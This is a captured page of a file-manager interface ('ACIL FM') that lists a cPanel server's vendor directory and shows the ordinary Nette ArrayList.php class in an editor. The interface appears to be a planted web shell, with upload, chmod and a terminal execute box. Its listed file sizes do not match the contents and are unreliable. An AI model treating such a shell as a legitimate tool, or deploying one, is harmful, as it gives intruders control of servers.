ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/vendor/nette/utils/src/Utils
/
opt
cpanel
ea-wappspector
vendor
rector
rector
vendor
nette
utils
src
Utils
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
ArrayHash.php
2.18 MB
chmod
View
DL
Edit
Rename
Delete
ArrayList.php
3.08 MB
chmod
View
DL
Edit
Rename
Delete
Arrays.php
16.38 MB
chmod
View
DL
Edit
Rename
Delete
Callback.php
4.18 MB
chmod
View
DL
Edit
Rename
Delete
DateTime.php
3.26 MB
chmod
View
DL
Edit
Rename
Delete
exceptions.php
784 B
chmod
View
DL
Edit
Rename
Delete
FileInfo.php
1.44 MB
chmod
View
DL
Edit
Rename
Delete
FileSystem.php
10.3 MB
chmod
View
DL
Edit
Rename
Delete
Finder.php
16.15 MB
chmod
View
DL
Edit
Rename
Delete
Floats.php
2.36 MB
chmod
View
DL
Edit
Rename
Delete
Helpers.php
3.33 MB
chmod
View
DL
Edit
Rename
Delete
Html.php
21.89 MB
chmod
View
DL
Edit
Rename
Delete
Image.php
27.78 MB
chmod
View
DL
Edit
Rename
Delete
ImageColor.php
2.03 MB
chmod
View
DL
Edit
Rename
Delete
ImageType.php
415 B
chmod
View
DL
Edit
Rename
Delete
Iterables.php
7.05 MB
chmod
View
DL
Edit
Rename
Delete
Json.php
2.5 MB
chmod
View
DL
Edit
Rename
Delete
ObjectHelpers.php
7.9 MB
chmod
View
DL
Edit
Rename
Delete
Paginator.php
4.98 MB
chmod
View
DL
Edit
Rename
Delete
Random.php
1.38 MB
chmod
View
DL
Edit
Rename
Delete
Reflection.php
10.49 MB
chmod
View
DL
Edit
Rename
Delete
ReflectionMethod.php
968 B
chmod
View
DL
Edit
Rename
Delete
Strings.php
25.85 MB
chmod
View
DL
Edit
Rename
Delete
Type.php
7.46 MB
chmod
View
DL
Edit
Rename
Delete
Validators.php
12.23 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/vendor/nette/utils/src/Utils/ArrayList.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ declare (strict_types=1); namespace RectorPrefix202411\Nette\Utils; use RectorPrefix202411\Nette; /** * Provides the base class for a generic list (items can be accessed by index). * @template T * @implements \IteratorAggregate<int, T> * @implements \ArrayAccess<int, T> */ class ArrayList implements \ArrayAccess, \Countable, \IteratorAggregate { use Nette\SmartObject; /** * @var mixed[] */ private $list = []; /** * Transforms array to ArrayList. * @param list<T> $array * @return static */ public static function from(array $array) { if (!Arrays::isList($array)) { throw new Nette\InvalidArgumentException('Array is not valid list.'); } $obj = new static(); $obj->list = $array; return $obj; } /** * Returns an iterator over all items. * @return \Iterator<int, T> */ public function &getIterator() : \Iterator { foreach ($this->list as &$item) { (yield $item); } } /** * Returns items count. */ public function count() : int { return \count($this->list); } /** * Replaces or appends a item. * @param int|null $index * @param T $value * @throws Nette\OutOfRangeException */ public function offsetSet($index, $value) : void { if ($index === null) { $this->list[] = $value; } elseif (!\is_int($index) || $index < 0 || $index >= \count($this->list)) { throw new Nette\OutOfRangeException('Offset invalid or out of range'); } else { $this->list[$index] = $value; } } /** * Returns a item. * @param int $index * @return T * @throws Nette\OutOfRangeException */ #[\ReturnTypeWillChange] public function offsetGet($index) { if (!\is_int($index) || $index < 0 || $index >= \count($this->list)) { throw new Nette\OutOfRangeException('Offset invalid or out of range'); } return $this->list[$index]; } /** * Determines whether a item exists. * @param int $index */ public function offsetExists($index) : bool { return \is_int($index) && $index >= 0 && $index < \count($this->list); } /** * Removes the element at the specified position in this list. * @param int $index * @throws Nette\OutOfRangeException */ public function offsetUnset($index) : void { if (!\is_int($index) || $index < 0 || $index >= \count($this->list)) { throw new Nette\OutOfRangeException('Offset invalid or out of range'); } \array_splice($this->list, $index, 1); } /** * Prepends a item. * @param T $value */ public function prepend($value) : void { $first = \array_slice($this->list, 0, 1); $this->offsetSet(0, $value); \array_splice($this->list, 1, 0, $first); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply